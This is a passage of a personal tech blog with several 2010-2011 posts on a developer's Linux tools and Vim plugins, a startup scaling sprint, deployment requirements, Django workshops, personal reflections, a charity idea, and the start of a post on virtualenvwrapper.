For reading–I LOVE my Kindle. I read a lot of books (30 minutes a day, minimum), and the kindle has been a great way for me to save money and consolidate my collection. I’ve still got a rather large collection of physical books, but I’m slowly phasing it out in favor of kindle books. There are very few books that I wouldn’t read on a kindle (mostly fitness books, with large pictures), but that’s about it. Most tech books I read display perfectly, and it’s become an essential part of my day.

And lastly, I use an HTC G2 phone. I love Android OS, and couldn’t really live without it. I keep all of my contacts in Gmail, which nicely syncs down to my phone, and vice-versa, which really makes daily life simple.

And here’s a picture of my workspace:

Operating System Details

I used to hate KDE, really hate it. It was slow, choppy, and generally ugly. The 4.x versions, however, are completely different. I made the switch from Ubuntu to Kubuntu about a year ago now, and have been incredibly impressed.

KDE is a great desktop environment. It’s fast, can make use of all the normal desktop effects (if you’ve got a decent GPU), and is highly customizable.

Here are some random screen shots of my desktop:

Software

The most important part of any environment is obviously the software. Over the years, I’ve tried numerous tools, and I routinely try new ones. The ones that follow are the ones I absolutely couldn’t live without.

Chrome

I love using Google Chrome. It’s got great developer tools built in for working on your sites, has a lot of great plugins, and magically syncs your bookmarks with your Gmail account. It’s also much faster to start and run than Firefox, and has a really clean look to it. The main killer feature for me is the app sync. Whenever you sign into your Google account on another chrome browser, it will automatically install all of your apps–makes switching computers simple as shit.

Plugins I use daily:

TweetDeck: To view and use my Facebook and Twitter accounts. It’s the best client ever made. Runs in a browser tab, and has sexy desktop notifications.
Adblock: Who likes viewing ads? Nobody, that’s who.
Google Voice: If you use Google Voice, this plugin is a must. It lets you make calls from your browser, send SMS from your browser, listen to voicemails, etc. It contains everything awesome about telephony in a single icon.
Minimalist for Gmail: This plugin lets you pick and choose Gmail features to enable or disable. Let’s you clean up your Gmail interface and remove all the cruft you don’t want to see. Immensely pleasing.
Vimium: For people like me who use Vim like crack, vimium is the perfect productivity tool. It lets you use Vim key mappings inside chrome to navigate webpages without touching your mouse.
Webpage Screenshot: Take screen shots of web pages. Great for quickly sharing a screeny with some friends.

Konsole

KDE’s Konsole (terminal emulator) is by far my favorite terminal. It has a great GUI paired with lots of functionality and flexibility. The default key bindings work great, and are intuitive. It meets pretty much all of my terminal needs–with style.

Here’s a couple screen shots:

Vim

As I mentioned before–Vim is my editor of choice. I code a lot, and Vim makes coding easy. I’ve messed around with lots of other options: emacs, eclipse, gedit, kate, and some other tools, but Vim has always been my first choice.

The Vim key bindings are intuitive, and make editing simple. I’m able to fly through large sets of files, making small changes and frequently doing Git commits with ease. I’ve still got a long way to go before my Vim skills are advanced level, but even at a beginner level, I still find myself extremely happy with my productivity.

In addition to the (wide array) of basic Vim tools, I also use several plugins which really improve the experience. In no particular order:

pathogen: Makes it easy to install new plugins and keep them organized.
vim-puppet: Adds syntax highlighting for puppet files.
vim-pyflakes: Magically interprets your python code as you write it, and gives you interpreter errors in your vim status window so that you can fix them without ever running the code.
ropevim: Adds lots of handy vim key mappings for refactoring python code.
snipmate: Lets you build (and use) code snippets for automatically populating code based on what you’re typing. For example, if you find yourself typing for x in blah: a lot, you can make a snippet for that, and when you start typing that statement it will automatically insert a template, and let you tab through the variables to update them. Saves a TON of time.
snipmate_django: Django snippets.
trailing-whitespace: Removes all trailing whitespace from your files. I hate trailing whitespace.
vim-fugitive: Adds Git support into Vim. Never leave your Vim window again to use Git!
vim-uninpaired: Adds key mappings for scrolling through files. Especially useful when using with vim-fugitive. You can scroll through versions of a file controlled with git using hotkeys.

Obligatory screen shots:

Screen

I only recently learned how to use GNU screen properly. I will never go back. Using screen has given me a huge productivity boost. It lets you navigate through windows quickly, mash windows together via splits, maintain copy+paste buffers between screens, and do interactive sessions with other developers.

Before I started using screen, I would maintain at least 8 Konsole windows at all times. This was not optimal, because in order to switch between windows, I would have to analyze ALT+TAB combinations carefully and slowly, or move my hands off the keyboard to use the mouse. Both of those solutions are slow and annoying when you’re trying to quickly navigate windows. Using screen completely changed my work flow. Now I’ll typically maintain a single Konsole window full screen using GNU screen, and keep multiple screen windows open that I’ll switch through using CTRL+a <numeric> or CTRL+a <p/n> (previous and next windows, respectively). This makes switching windows quick, efficient, and non-intrusive to my daily work flow.

Furthermore, I maintain a decent .screenrc file, which includes two status lines that always display:

The hostname of the computer I’m working on.
The load average.
The date and time.
All screen windows that are open, and a special notation for the active screen window.

This makes it easy to identify my active windows, and keep track of what is where:

Dropbox

Dropbox just makes everything easier. I use it to sync all of my desktop files: code, music, pictures, configuration files, etc. Most of my /home directory is synced there somewhere. Dropbox (if you haven’t heard of it), allows you to sync files between multiple computers. I put all of my files into my /home/rdegges/Dropbox folder, and then symlink to major folders from there, e.g. ln -s /home/rdegges/Dropbox/Documents /home/rdegges/Documents. Makes all of my stuff sync transparently.

The main benefits with Dropbox are that all my files are always backed up, and that I can easily switch computers. Let’s say I need to use my laptop somewhere, as soon as I turn it on, it’ll sync all my desktop files to my laptop, and essentially fully configure my data for me. No work necessary.

Amarok

I listen to a lot of music. Amarok is my favorite music player for Linux. It has lots of great plugins (including last.fm support), album art, lyrics, streaming servers, and lots of other goodies. It also has a great UI which cleanly integrates with my KDE desktop, and the globally configurable hot keys allow me to quickly sort through music without ever touching the mouse.

Screen shot below.

IRSSI

If you’ve ever used IRC, you’ve likely heard of IRSSI. It’s probably the best IRC client for command line users. It provides tons of configuration options, a clean interface, and intuitive key mappings for navigating the UI. I use IRC all the time (have been IRC longer than I’ve been using Linux, actually), and IRSSI is my weapon of choice.

Screen shot:

Conclusion

Those are my tools in a nutshell. I’m specifically not including my coding tools here (Judson, fabric, Python, etc.) because that should really be in a separate post.

Programming Innocence

r@rdegges.com (Randall Degges) — Tue, 11 Jan 2011 00:00:00 -0800

I’ve been programming for a long time. When I first started programming, I would spend as long as I humanely could on the computer writing code. Sure, my code sucked, but I was having fun, and I was learning a lot. Over the years, this programming innocence left me.

The one true thing that can strip a programmer of his innocence is fear. Fear of not knowing the best way to do things (best practices). Fear of not using the right tools and languages. Fear of errors (especially compiler errors). Fear of schedules. Fear of publicity (what will other programmers think about this code?). I suspect that all programmers experience those fears in greater and greater amounts as they become better and better.

Programming innocence is a powerful thing. When reflecting about this topic in my head over the past week or so, I immediately began thinking of the best programmers I know. What do I respect about them? What makes them so great? I believe that in most cases, their greatness can be directly correlated to their innocence. The best programmers I know are the ones who naively charge into battle: fearlessly removing code, spending days in complete isolation getting a prototype hacked together, ignoring all critics and outside influences. These guys are my heroes. They code ruthlessly in order to solve their problems. They yield for nothing.

So how can you regain your programming innocence once it has been lost?

Just Say “fuck it”

Found a more efficient way to write your code? Implement that shit! Don’t make yourself worry about all you have to learn, just learn it. Code can be enhanced over time, so don’t worry that learning new things in the future will waste your time now. Every time you write code, you grow.
Worried that your library / programming language / etc. will be outdated in the next few years? Don’t be. Think agile. When things change, change your code with it.
Feeling stressed out by that deadline? Fuck it. You are a hacking god. If you stare at the computer hard enough, the code will practically write itself. Be confident in your abilities, and never be afraid to completely isolate yourself from the world, and code like an animal.
Do you worry what other programmers will say about your code? Don’t let that stop you. If other people have a problem with your code, have them send you a pull request.

The moral is: when things bring you down, instead of letting them best you, remain innocent. Hack your heart out every day, and don’t forget that the only thing that really matters is how much fun you have along the way.

Startup Mode

r@rdegges.com (Randall Degges) — Thu, 06 Jan 2011 00:00:00 -0800

Yesterday I got some exciting news. Very exciting. My company is going to be doing some massive, explosive expansion over the next 90 days. How expansive? Well, we’re going to attempt to scale our services 10x across the board. That means 10x user count, 10x bug fixing, 10x feature additions, and 1/10th the time.

We’re going to do a sprint. The most epic sprint I’ve ever done. All or nothing, win or go home. I’m going into startup mode.

The Story

I work for a telecommunications company. We do a wide variety of stuff, one of our largest services being free to use conference lines. This project is especially interesting to me, because it uses many different technologies, and offers a lot of room for improvement and exciting research.

Our conference lines are pretty popular in the US (and Canada, surprisingly). So popular, that we run into limits on the services we can offer due to lack of capacity (we can only get so many phone lines, you know).

In order to continue growing, we signed a contract with an enormous telco to give us almost unlimited capacity, but at a cost: we must increase our service usage substantially in the first two months. So–that’s exactly what we’re going to do.

The Challenge

This challenge is interesting from a technical standpoint. In order to support 10x as many users, we need to update our infrastructure, and in order to keep services running smoothly, we need to fix lots of bugs, and add new features and monitoring tools to our lineup.

Over this next (crazy) month, I’m going to be providing some pretty regular updates to my blog (you’re reading it now), which contain the challenges we’re facing technically, and how we resolve them. Telephony is pretty interesting stuff, when you get down to it.

The Technology

Our tech stack is pretty widely varied right now. There are a LOT of things that still need to get implemented and fixed, but here’s the tools and tech we use to operate:

MySQL: for all of our current database stuff.
PostgreSQL: migrating all our database stuff to it.
Python: our programming language of choice.
Django: our web framework. We use it extensively for our public sites, internal API calls, and eventually public API calls as well.
RabbitMQ: a message passing library used for time-intensive queued tasks.
Celery: A Python / Django wrapper for using rabbitmyq easily. We use this to handle stuff like report generation, accounting, etc.
Puppet: a program for automatically configuring (and keeping configured) large groups of servers. It installs all of our software, controls configuration files, and generally protects our servers from issues.
Monit: a centralized monitoring solution that tries to self-heal many server problems, as well as report issues to us when necessary.
sentry: an awesome Django plugin that provides a Django log viewer. It helps us manage our errors and generate helpful TODO items.
Github: for everything. Fuck everything about my life before Github. Seriously.
memcached: for caching everything. Caching is becoming a much more important part of our stack. It was initially totally neglected, but we’re now revisiting it and making much better use of it.
munin: for monitoring our network. It provides a ton of sexy graphs and pictures that help us detect problems and plan for expansion.
Asterisk: the core of our conference system is the Asterisk PBX. We use it’s dialplan, AGI, and AMI libraries to help us build kick ass software. Over the next month we’ll need to do a massive updating of our Asterisk code.
OpenSIPS: our SIP router. We’re going to use this to load balance, and do accounting for all of our call transactions. We’ve still got a bit of work to do to get this working nicely the way we want it to.
FreeRadius: a tricky beast. Radius is one of those protocols that I don’t like, and don’t really see the point of. However, we have to use it to do proper call accounting, so I’ll have to set it up and manage it again. Damn. It basically acts as a middleman between OpenSIPS and SQL.
JSON: our favorite encoding schema :)
Vim: need I say more? Ok, maybe I should. Vim + pyflakes + rope = win. That is all.
Jenkins: our CI server. We use it to both automatically test all code, as well as automatically deploy it.
git-flow: our git development model. We use it extensively for all projects.
fabric: a python library for automating deployments. We use fabric to script our deployment processes.
gunicorn: our WSGI server of choice. It makes it insanely easy to throw up production web servers for our Django projects.
nginx: serves all of our static content, and load balances all of our web requests. Love it.

I’m probably forgetting some stuff here (there is a lot that we use on a day-to-day basis), but that is at least a good portion of it. At least half of our tech stack needs significant improvements over the next 90 days, so that’s where all the action will be.

Updates

As I mentioned before, I’ll be updating my blog much more regularly over the next 90 days, in order to share our insights, and help clarify my own thoughts :) And as usual, if you have any recommendations of your own, please share them!

What I'm Doing in 2011

r@rdegges.com (Randall Degges) — Thu, 23 Dec 2010 00:00:00 -0800

Another new year is quickly approaching (time seems to fly, doesn’t it)? I thought it would be appropriate to do a brain dump of my plans and ideas for 2011.

Goals

I’ve never been a very “goal oriented” person, instead I tend to just live in the moment and let things happen naturally. However, this year I’m going to be trying a lot of new things, and want to hold myself accountable using goals.

Start a new reading habit. By the end of the year I want to be in the habit of reading for at least 30 minutes a day.
Start a new exercise habit. By the end of the year I want to be in the habit of exercising for at least 30 minutes 5 times a week.
Completely stop consuming all sodas and energy drinks. I’ve already been soda free for around 4 months, but I want to completely remove them from my diet.
Continue losing weight at a rate of 1lb per week minimum (with a few exceptions allowed for holidays and what not).
Build and launch at least one public website that offers some sort of paid service.
Make the RCG and RCI teleconferencing systems the best in the world. We’ve got some competition, and I want to completely eliminate it.
Successfully launch http://globalroute.net/ (my work’s new VoIP provider).
Give at least one technical presentation at a programming meet up. I’m normally a pretty shy guy, but would like to make myself step out of my normal element.

I’m sure that I will do other things too (at least, I hope!), but these are my main goals for 2011. These are the things that, if I finish, will allow me to sleep easily at night.

Tech Stuff

2010 was a big year for me in terms of learning and using tech stuff. In 2011 I plan to spend a lot of time mastering the tech stuff that I use daily, namely PostgreSQL, Django, OpenSIPS, Asterisk, python, jenkins, fabric, puppet, memcached, and celery. In an ideal situation, I will be able to rapidly deploy, scale, and develop high performance applications and have full knowledge of all parts of the stack.

Right now I am very familiar with these tools, but not at a “master” level. This is something I hope to achieve through the coming year.

Other than my wife, the real love of my life is programming. Since I was a young teenager, I’ve been programming (or playing around on the computer) every single day. Over the next year, I’m looking forward to doing a lot of coding, interacting with other programmers, and having tech fun.

Travel

I don’t think a lot of people close to me know this, but I really enjoy traveling. I’m finally at a point where I can do a bit of travel casually, and in 2011 I plan on doing some.

I’m not going to be flying anywhere (fuck the TSA!), but I will be doing some alternate forms of travel. I’ve also been looking for a new home recently (I’m outgrowing LA), and will be traveling to some of my possible future homes to see how I like them.

Some of the places I’d like to visit in 2011 are (in no particular order):

Santa Barbara
San Francisco
Santa Cruz
Hawaii
Portland
Seattle

I’m also planning on taking a cruise to Alaska with my wife at some point, as we have both really been wanting to see the frozen tundra for quite some time :)

Other Thoughts

2010 was a good year. I’m looking forward to doing cool stuff in 2011, and having fun.

Deployment System Requirements

r@rdegges.com (Randall Degges) — Sat, 18 Dec 2010 00:00:00 -0800

Over the past month, my colleague Kurtis and I have been engineering a fully environment. This article discusses the requirements that we had for our deployment system. I eventually hope to discuss the entire thing, how we built it, and what revisions we make.

Why Deploying Can Be Painful

Most programmers hate deploying code. I certainly did until this past year. Deploying code is (often times) much harder than writing the code itself. Deploying requires a great deal of knowledge: OS configuration and setup, cloud provider APIs or physical server installation quirks, numerous software components, system monitoring, access lists, and a lot of other things.

It’s a pain.

At my work, we operate with a variety of technologies and tools, which makes deployment even more complex, as there is no one-solution-fits-all approach to managing our various components easily.

Since it can be difficult and frustrating (especially for small teams like mine, where we don’t have any dedicated sysadmins), many people tend to ignore deployment, or put it off till the last minute. This is the way I used to operate–I would work on my code for weeks at a time, and then once I had some features finished and bugs removed I would manually copy my code over to each production server, carefully update my project files, and then restart the necessary services and manually test like crazy to make sure I wasn’t breaking anything.

The approach I used to take was awful for numerous reasons. Among other things:

It made me scared to deploy code frequently. This means users get slower updates, bugs get fixed slower, and every suffers.
Deploying code would often cause downtime. One accidental cp or rm, and your code is gone. It’s hard to recover from production mistakes.
It is time consuming. Deploying code shouldn’t take hours.
It made it difficult to test for code correctness. Infrequent deployment = infrequent testing = infrequent integration with other team member’s code. When we deployed, it would often cause other code issues that were unseen in our development environments.

When Kurtis and I started discussing these issues, we decided it was time to do something about it. We wanted to build a deployment system to make our lives easier, our coding more effective, and our company more efficient.

Our Requirements

When we started planning out our deployment system and doing research, we generated a list of requirements that (more or less) must be met by the system of our choosing. Here they are:

We should have three distinct environments: development, staging, and production. There should never be any versions of code running on the incorrect systems.
Our development systems should always be running the latest version of or develop git branch.
Our staging systems should always be running the latest version of our master branch.
Our production systems should always be running the latest version of our master branch (but only if tests pass on staging).
We should have a continuous integration system watch our git repositories, and when changed, check out the latest version of our code, run tests on it and if the tests pass deploy it to the appropriate environment.
We should be able to run multiple levels of tests: unit tests, integration tests, performance tests, and deployment tests, with each commit.
We should be able to get meaningful statistics and notifications when we break stuff, so that we can get it working again.
Our system should be as self-healing as possible. If something goes wrong, it should try to fix it, and only if it can’t figure out what to do should we be notified.

Those are the main requirements we had. And I’d like to think that they are still pretty solid. With those features, we should be able to focus on code, and let everything else happen naturally.

The three distinct environments are important. They can vary greatly from organization-to-organization. For us, our development environment is local for each developer. We write and test most of our code on our home boxes with a combination of Rackspace boxes and Virtualbox environments as helpers. Our staging and production environments are both in the same cloud, and identical in almost every way. We use our staging as a live fail over for production, and it serves as a great test bed for production code before putting it live.

We use git flow at work, which explains our git branching model. Basically, all our branches have standard naming convention, which allows us to do stuff like say that all code in the master branch should be deployed straight to staging / production, and that all code in develop should be deployed straight to development.

The continuous integration (and deployment) system should be able to run tests and deploy code. This step has the biggest impact on our work flow. Knowing that every time I git commit, my code is automatically tested and deployed to all development, staging, and production boxes (depending on the git branch) is an awesome feeling. This enables us to do a lot of cool things. Push bug fixes out immediately, push features out immediately, instantly test for problems, discover pain points earlier, etc.

The ability to run multiple levels of tests is also extremely important. Most folks (those who do any sort of testing, anyhow) will stop at unit tests. However, especially when you are designing large scale systems with databases, you need to test for concurrency problems, and many other factors that simple unit tests won’t catch. This means that we need the ability to launch performance test suites, and other remote tests that MUST run against a live development or staging environment to be useful.

Our requirement to get feedback is a no-brainer. What is the point of automating stuff if you can’t get reports when things don’t work?

And lastly, we chose to build in the self-healing requirement so that we would not end up wasting our time dealing with issues that are best solved automatically.

Conclusion

What are your experiences with deployment? I’m extremely glad that we decided to tackle this issue recently. We’ve still got quite a while to go before our system is perfect, but we’re making a lot of good progress, and have already saved hundreds of man hours with some fairly simple automation.

Sometime in the next week or so I’ll throw up another article on our deployment system, and dive into some technical details.

Reflections on the Django Deployment and Ecosystem Workshops

r@rdegges.com (Randall Degges) — Sun, 12 Dec 2010 00:00:00 -0800

Earlier this week, I attended the two day Revolution Systems Django workshop in Santa Monica, CA. Day one was the “Django Deployment Workshop”, and day two was the “Django Ecosystem” workshop, both of which were led by Jacob Kaplan-Moss, one of the creators of the Django web framework.

I’m a huge fan of python and Django. I use them for fun and for work, and couldn’t be happier. One of the reasons I wanted to attend the RevSys workshops was to meet Jacob, and also to see how he handles very large scalability issues (which I’m currently solving at my work).

If you’re interested in attending one of these workshops, please keep reading.

Django Deployment Workshop

This workshop covered all areas of deployment for Django apps. Some of the topics covered included:

Cloud providers. In the class Jacob discussed some of the dominant cloud server providers that are out there (namely Rackspace and Amazon), and compared the benefits and drawbacks of each.
Bootstrapping servers with Chef (or Puppet). If you need to manage lots of servers, you will be hard pressed to find a better tool for the job than Chef or Puppet. Both allow you to build simple configuration files which keep all of your servers synced. For example, you can specify which packages should be installed on all web servers, which files must be present, how to install custom code and software, etc. With a single configuration update, you can make changes to hundreds (or more) servers, removing the need for manual systems administration in most cases.
Using pip to build and distribute your Django sites. pip manages project dependencies in a simple way, and can even fetch and build code straight from version control systems (git, svn, etc.), which makes it a great tool for large companies who may not have the freedom to store code on the PyPI mirrors.
Sandboxing your python and Django code using virtualenv. virtualenv lets you build local python environments that your applications can run in, ensuring that regardless of OS updates and other worrisome issues, your code will still run as it should.
Using fabric to build simple deployment scripts, which allow you to push the latest version of your code into production, staging, or development with a single command.
Storing media content across multiple web servers using Django’s file store backends.
Monitoring your networks with munin.
Monitoring your server processes with upstart.
Monitoring your logs with sentry.
Using celery to distribute asynchronous, resource intensive tasks to improve site performance.
Load balancing web requests to a variable amount of web servers.
Using PostgreSQL to efficiently handle lots of database queries.
And a lot of other cool stuff.

Overall I was really impressed with this workshop. The class size was small, which was awesome. We got to spend a ton of time with Jacob, and really cover interesting areas of scaling and deployment which every company should be using.

Jacob was very thorough, and it was enlightening listen to him talk about the various technologies and methods that he uses to help scale extremely large systems.

Regardless of whether you’re developing Django apps for fun or work, if you have a chance to attend the Django Deployment Workshop, do so. You won’t regret it.

Django Ecosystem Workshop

The Django Ecosystem Workshop discussed various open source Django apps, why you should know about them, and how to use them. I won’t go into the details here (because there were far too many apps covered to remember), but the workshop provided solutions to pretty much all common site problems in a simple reusable manner.

This workshop was particularly neat because I hadn’t played around with a lot of the apps discussed, and now have a massive TODO list which includes implementing a good portion of these apps into my production systems at work.

As with the Django Deployment Workshop, Jacob was very thorough, and helped with any (and all) questions that everyone had.

My Thoughts

Both workshops were excellent, and well worth the money. Jacob did an amazing job covering some very complex topics, and was careful to answer everyone’s questions and make sure that everyone was on the same page.

Luckily, the class size was small both days, which gave everyone a chance to get to know each other, and I met some really cool people. Jacob in particular is a really awesome guy, and it was a great experience to hang out with him and get to pick his brain on various topics.

I highly recommend you sign up for the classes when they’re available next. As long as you’re a competent Django developer, you should have no problem following along with the topics discussed, and you will surely learn a lot as you go.

A lot of the scalability issues discussed in the workshops are ones I’m currently solving at my workplace, and so I plan to do some very detailed write ups on my methods and tools over the coming weeks.

Being Myself

r@rdegges.com (Randall Degges) — Thu, 02 Dec 2010 00:00:00 -0800

I’ve been thinking a lot about my life lately. Maybe it’s because the new year is almost here, or maybe it is because I’ve been having a lot of weird “grown up” life experiences.

These past couple years (I left uni ~2.5 years ago) have been the best in my life. I learned what the real world was like, what I suck at, what I’m good at, and what makes me happy. A few weeks ago I learned what type of person I really am (I’m a hippie), and have been slowly coming to terms with myself.

Up until now, I haven’t really been myself. I’ve made a lot of mistakes. Among other things, I’ve:

Not stood up for what I believe in.
Lied to myself.
Tried to make everyone happy.
Hidden my true intentions and thoughts from friends and strangers.
Cared too much about what other people think, instead of myself.
Been too self conscious about myself.
Not done things because it seemed ’too crazy'.
Been afraid to take risks.
Allowed myself to be uptight and stressed.

Life is short. Really short. From now on I’m going to forget about other people, and do what I think is right. I’m going to take risks, have fun, and enjoy my life as much as I can.

So, I’d like to introduce you to the new Randall. Here are a few facts about me (that you may not know):

I love puns. Seriously. I like a ton of lame jokes.
I like hip-hop, reggae, pop, and rock music.
I hate pants, and all formal wear. The only stuff I like wearing are shorts, t-shirts, and sandals.
I love reading tech books. I’m not that big on fiction. They’re fun!
I’m a total hippie. I’m super liberal.
I like to use unnecessary adjectives (e.g. ‘super’, ‘awesome’, etc.).
I like (parenthesis).
I hate the US government.
I’m an atheist. Pro abortion. Pro gay marriage.
I’m spontaneous. I like driving to the beach at midnight and going to far away places on a whim.
I’m a minimalist.
I want everyone to be awesome to each other.
I’m not very social, but I want to be.
Ideally, I’d like to live on (or near) the beach, and listen to some loud tunes while coding all day and night.
I want to leave LA, and move to Northern California, Hawaii, or another country.

I’m going to start living the way I want to, and keeping it real. If you wanna hang out, send me an email!

Non-Profit Idea: Neverending Charity

r@rdegges.com (Randall Degges) — Fri, 15 Oct 2010 00:00:00 -0700

I often have business / charity ideas that I would eventually like to act on. I (stupidly) never kept a record of them anywhere, until today.

I ordered a new Moleskine notebook from Amazon, and decided to use it as an idea notebook. So from now on, whenever I get a business / charity idea, I’ll write it down in there, so that I can eventually I can either develop them myself, or cross them off my list as someone-else-already-implemented.

My first idea (I’ve had this floating around in the back of my head for quite some time now) is called…

Neverending Charity

Neverending Charity is a non-profit organization that accepts monetary donations, and places them into high-yield savings accounts.

The idea is that by pooling money from many people who donate, and storing that money in high-yield savings accounts (to gain a certain percentage as interest each month), the charity will never run out of money to donate to its cause.

At the end of each month, Neverending Charity will take the interest that has accumulated on all donated monies, and donate it to a specific cause. The more money that people donate to Neverending Charity, the more money that it will be able to give away at the end of each month.

Since Neverending Charity will be (for the most part) completely automated, there will be little to no operational cost, and 100% (or close to it) of donated funds can be given away. It will be self-sustaining (never have to worry about recessions, or anything like that), and will be able to provide an eternity of awesomeness without worry.

The Problem With Current Charities

I really love charities. Any group that can really change the world is a good thing.

The problem with most charities that exist now, however, is overhead. The cost of running charities can be high, depending on the type of organization. Paying for physical stores / collection centers like the Salvation Army or Goodwill can really rack up expenses. Not to mention the fact that they have to pay tons of employees to handle goods and organize locations.

The beauty of Neverending Charity is that it is simple enough to require very little operational cost. Most of the process can be fully automated. And what can’t be automated can be done (for the most part) online. Creating Facebook fan pages, twitter accounts, and performing SEO optimization on the website can all be done with very little effort and cost.

The Math

Obviously, the downside to Neverending Charity is that you aren’t generating enormous donations every month (at least, not initially). So let’s do some math below to see how much donation money Neverending Charity would need to reach certain markers.

For all examples below, we’ll just assume that the interest rate on our high-yield savings account is 2%. This is an unrealistically low number given the amount of money that we’ll be collecting interest on, but we’ll use it for conservative purposes.

Money in Bank -> Monthly Donations

$10,000 -> $16.67

$100,000 -> $166.67

$1,000,000 -> $1,666.67

$10,000,000 -> $16,666.67

$1,000,000,000 -> $1,666,666.67

The numbers required to make a big impact are large, but don’t forget-once people donate, their donation will live on forever and continuously increase the monthly donation account.

Since Neverending Charity will last forever, the cumulative effort of all contributers will make a large difference when combined.

Making it Interesting

Neverending Charity really appeals to me (as a programmer), because it can be automated to such an enormous extent. Given enough donations and popularity, it could very well generate thousands of dollars a month to give to good causes.

But, let’s make things even more interesting.

What if instead of giving money to a single cause every month, Neverending Charity allowed donors to vote on which organization should receive all proceeds for the given month?

By allowing donors to vote (whichever group / organization gets the most votes at the end of the month gets the interest for that month) for which organization they think should get help each month, Neverending Charity will be able to reach a larger audience of contributers, and collectively do more good in the world.

Democratizing the charity process is something I haven’t seen done before, and could be an extremely popular premise.

Wrap Up

So, in a nutshell, Neverending Charity will be a non-profit group that leverages the power of the internet, large amounts of people, and banks to make the world a better place, one month at a time-forever.

Happiness is Simplicity

r@rdegges.com (Randall Degges) — Fri, 10 Sep 2010 00:00:00 -0700

I’ve been feeling especially thoughtful the past several weeks, and have been doing a lot of thinking about happiness in my life. I won’t pretend to know what makes everyone happy, as I’m certain that it is different for every individual, but I believe that I’ve discovered what makes me happy: simplicity.

What My Happiness Isn’t

To fully explain what my happiness is (as it may be hard for some people to understand), I’ll start by explaining several things that my happiness distinctly isn’t.

‘Fuck You’ Money

I frequently see threads on HackerNews where I see users discussing how they want to make their own successful startup, work hard for a year or two, then get bought out and live happily ever after. I like to call these people the ‘Paul Grahammers’. They live and die by the philosophy (made famous by the really smart Paul Graham), that you should create your own wealth by working on a startup, and eventually selling it to a larger company.

Now, before you get angry, I do like Paul Graham, and think that his advice is awesome, it just doesn’t apply to me. I don’t need much money.

There was a time (a long time, really), when I thought that being rich would make me happy. I could travel anywhere, buy anything, and enjoy the best luxuries in life.

But, I don’t need that much money. I need just enough to:

Make payments on my student loans.
Make car payments.
Pay rent.
Buy groceries each month.
Buy a new computer every year or two.
Get my wife a present every now and then :)

I don’t buy that much stuff. As a matter-a-fact, I’ve got 150$ worth of Amazon gift cards sitting on my desk, which I have no idea how to spend, as I already own everything I want.

My only luxury purchases are books (but I’ve got a lot of catching up to do, so won’t buy any others for a while).

Short Workweeks

I’m a big fan of books. I read everyday, and love it. Most of the books I read are tech related, but I also enjoy business and lifestyle books. I can’t count how many of them preach that a good life is a free life (away from work).

I also can’t seem to escape this dogma when talking to friends, co-workers, and relatives: nobody wants to work.

I like working. I do something I love (coding) everyday, and couldn’t be happier. For me, working is about learning. Everyday I devote myself to solving a new problem, and, along the way, learn new stuff.

I’m not saying that I want to work 24 hours a day, 7 days a week, 365 days a year–I highly value time off–but I do enjoy working.

Religion

Just some quick background: my father was a Christian minister for years, and is now the president of a large Christian organization. My mother as well as some of my siblings are also religious.

I’m not a religious guy. When I was in my teens, I began questioning my beliefs, and soon realized that I was unable to accept religion in my life, for numerous reasons that I won’t go into here.

The important bit is, I know a lot of people who prescribe to the idea that in order to be happy, you must have a good relationship with God, or some sort of higher being.

This could not be more false. As an atheist, I’ve been living happily and carefree for quite some time now.

Living without religion, and not trying to achieve acceptance from a creator has been a very liberating experience in my life, and constantly reminds me how lucky I am to be here, and how precious every day is.

What My Happiness Is

The things that truly make me happy are simple pleasures. Some of them I’ve only recently come to terms with, and some have been clear to me for as long as I can remember.

Silence

Silence is highly underrated. I’ve noticed more and more as I’ve grown up, that most people tend to be afraid of silence.

In today’s world, there is constant movement and noise: Facebook, Twitter, news sites, phone calls, text messages, video conferences, etc. It seems like no matter what, people are compelled to be constantly moving, working, and talking.

I love silence.

It seems to accentuate the beauty of the world. The sun quietly setting over the ocean, the sun rising over the mountains, the short time I lie in bed before falling asleep-they all make me happy.

Love

I got married recently (April 3, 2010) to my high school sweetheart. I’ve loved her for a long time, and couldn’t possibly be happier with another person.

We haven’t always had the luxury of spending a lot of time together through our relationship, but have recently been able to spend a lot of time together, and it has made me realize how important spending time with her really is to my overall happiness.

Falling asleep together at night, waking up together in the morning, and talking to each other throughout the day all make life so much better.

Nature

Another simple (and underrated) pleasure is nature.

Taking a midnight drive to the beach, and walking along the coast.
Watching squirrels chase each other around a tree.
Watching rain clouds slowly cover the sky.
Lying down on a blanket at the park, staring at the trees.
Looking up into the night sky at stars.

I can’t begin to explain how relaxing and satisfying it is to me to step outside for a few minutes each day and take a deep breath.

Feeling that I’m a part of something much larger and more important than myself is a good feeling. It makes me feel happy, peaceful, and relaxed.

Simplicity

I like to think that I lead a simple life. I eat, sleep, work, learn, and play.

After seriously analyzing my life these past several weeks, I’ve come to the clear conclusion that simplicity is what makes me happy. I used to think that happiness was a complex thing, something that only the most wealthy and successful people were able to obtain, but I’ve come to realize the opposite.

My happiness has been defined by the removal of unnecessary and distracting things, as opposed to the collection and accumulation of more.

Why Don't You Use virtualenvwrapper?

r@rdegges.com (Randall Degges) — Wed, 08 Sep 2010 00:00:00 -0700

If you’re a python programmer, you’ve most likely heard of virtualenv. If you haven’t, then you need to check it out.

virtualenv is a tool to create isolated Python environments.

In a nutshell, you can create as many virtual environments as you want. Each of these virtual environments is a small directory structure, which contains a copy of your python interpreter(s), and provides a sandbox environment in which you can install only the necessary packages you need to run your project, as well as remove your programs’ dependence on system packages and python versions.

virtualenvwrapper Rocks!

virtualenvwrapper (available via pip or easy_install), is a set of scripts that makes managing multiple virtual environments easier-much easier.

In my day-to-day work, I typically use virtualenv to create various test environments. Let’s say I want to test out a new package in my project, I may do something like:

rdegges@solitude:~/random_project$ virtualenv --no-site-packages env
New python executable in env/bin/python
Installing setuptools............done.
rdegges@solitude:~/random_project$ . env/bin/activate
(env)rdegges@solitude:~/random_project$ pip install nose
Downloading/unpacking nose
 Downloading nose-0.11.4.tar.gz (256Kb): 256Kb downloaded
 Running setup.py egg_info for package nose
 no previously-included directories found matching 'doc/.build'
Installing collected packages: nose
 Running setup.py install for nose
 no previously-included directories found matching 'doc/.build'
 Installing nosetests-2.6 script to /home/rdegges/random_project/env/bin
 Installing nosetests script to /home/rdegges/random_project/env/bin
Successfully installed nose
Cleaning up...
# do some testing here ...

I’ll often repeat this process numerous times, as I don’t want to clutter my official virtual environment which has my list of good packages and their respective versions.

The problem with this approach, of course, is that it becomes tedious to manage a ton of virtual environments. It also causes clutter in version control environments, without careful exclusion rules.

This is where virtualenvwrapper comes into play.

